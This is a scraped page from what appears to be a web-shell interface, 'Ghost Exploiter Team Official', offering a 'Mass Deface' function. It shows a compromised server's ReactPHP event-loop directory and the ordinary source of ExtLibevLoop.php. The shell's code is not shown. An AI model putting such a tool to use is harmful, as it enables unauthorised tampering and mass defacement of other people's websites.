Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
react
/
event-loop
/
src
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Tick
--
ren
Timer
--
ren
ExtEvLoop.php
5.933KB
edt
ren
ExtEventLoop.php
8.067KB
edt
ren
ExtLibevLoop.php
5.632KB
edt
ren
ExtLibeventLoop.php
8.54KB
edt
ren
ExtUvLoop.php
9.354KB
edt
ren
Factory.php
1.774KB
edt
ren
Loop.php
7.301KB
edt
ren
LoopInterface.php
18.874KB
edt
ren
SignalsHandler.php
1.283KB
edt
ren
StreamSelectLoop.php
11.764KB
edt
ren
TimerInterface.php
0.48KB
edt
ren
<?php namespace React\EventLoop; use BadMethodCallException; use libev\EventLoop; use libev\IOEvent; use libev\SignalEvent; use libev\TimerEvent; use React\EventLoop\Tick\FutureTickQueue; use React\EventLoop\Timer\Timer; use SplObjectStorage; /** * [Deprecated] An `ext-libev` based event loop. * * This uses an [unofficial `libev` extension](https://github.com/m4rw3r/php-libev), * that provides an interface to `libev` library. * `libev` itself supports a number of system-specific backends (epoll, kqueue). * * This loop does only work with PHP 5. * An update for PHP 7 is [unlikely](https://github.com/m4rw3r/php-libev/issues/8) * to happen any time soon. * * @see https://github.com/m4rw3r/php-libev * @see https://gist.github.com/1688204 * @deprecated 1.2.0, use [`ExtEvLoop`](#extevloop) instead. */ final class ExtLibevLoop implements LoopInterface { private $loop; private $futureTickQueue; private $timerEvents; private $readEvents = array(); private $writeEvents = array(); private $running; private $signals; private $signalEvents = array(); public function __construct() { if (!\class_exists('libev\EventLoop', false)) { throw new BadMethodCallException('Cannot create ExtLibevLoop, ext-libev extension missing'); } $this->loop = new EventLoop(); $this->futureTickQueue = new FutureTickQueue(); $this->timerEvents = new SplObjectStorage(); $this->signals = new SignalsHandler(); } public function addReadStream($stream, $listener) { if (isset($this->readEvents[(int) $stream])) { return; } $callback = function () use ($stream, $listener) { \call_user_func($listener, $stream); }; $event = new IOEvent($callback, $stream, IOEvent::READ); $this->loop->add($event); $this->readEvents[(int) $stream] = $event; } public function addWriteStream($stream, $listener) { if (isset($this->writeEvents[(int) $stream])) { return; } $callback = function () use ($stream, $listener) { \call_user_func($listener, $stream); }; $event = new IOEvent($callback, $stream, IOEvent::WRITE); $this->loop->add($event); $this->writeEvents[(int) $stream] = $event; } public function removeReadStream($stream) { $key = (int) $stream; if (isset($this->readEvents[$key])) { $this->readEvents[$key]->stop(); $this->loop->remove($this->readEvents[$key]); unset($this->readEvents[$key]); } } public function removeWriteStream($stream) { $key = (int) $stream; if (isset($this->writeEvents[$key])) { $this->writeEvents[$key]->stop(); $this->loop->remove($this->writeEvents[$key]); unset($this->writeEvents[$key]); } } public function addTimer($interval, $callback) { $timer = new Timer( $interval, $callback, false); $that = $this; $timers = $this->timerEvents; $callback = function () use ($timer, $timers, $that) { \call_user_func($timer->getCallback(), $timer); if ($timers->contains($timer)) { $that->cancelTimer($timer); } }; $event = new TimerEvent($callback, $timer->getInterval()); $this->timerEvents->attach($timer, $event); $this->loop->add($event); return $timer; } public function addPeriodicTimer($interval, $callback) { $timer = new Timer($interval, $callback, true); $callback = function () use ($timer) { \call_user_func($timer->getCallback(), $timer); }; $event = new TimerEvent($callback, $timer->getInterval(), $timer->getInterval()); $this->timerEvents->attach($timer, $event); $this->loop->add($event); return $timer; } public function cancelTimer(TimerInterface $timer) { if (isset($this->timerEvents[$timer])) { $this->loop->remove($this->timerEvents[$timer]); $this->timerEvents->detach($timer); } } public function futureTick($listener) { $this->futureTickQueue->add($listener); } public function addSignal($signal, $listener) { $this->signals->add($signal, $listener); if (!isset($this->signalEvents[$signal])) { $signals = $this->signals; $this->signalEvents[$signal] = new SignalEvent(function () use ($signals, $signal) { $signals->call($signal); }, $signal); $this->loop->add($this->signalEvents[$signal]); } } public function removeSignal($signal, $listener) { $this->signals->remove($signal, $listener); if (isset($this->signalEvents[$signal]) && $this->signals->count($signal) === 0) { $this->signalEvents[$signal]->stop(); $this->loop->remove($this->signalEvents[$signal]); unset($this->signalEvents[$signal]); } } public function run() { $this->running = true; while ($this->running) { $this->futureTickQueue->tick(); $flags = EventLoop::RUN_ONCE; if (!$this->running || !$this->futureTickQueue->isEmpty()) { $flags |= EventLoop::RUN_NOWAIT; } elseif (!$this->readEvents && !$this->writeEvents && !$this->timerEvents->count() && $this->signals->isEmpty()) { break; } $this->loop->run($flags); } } public function stop() { $this->running = false; } }
<=Back
Liking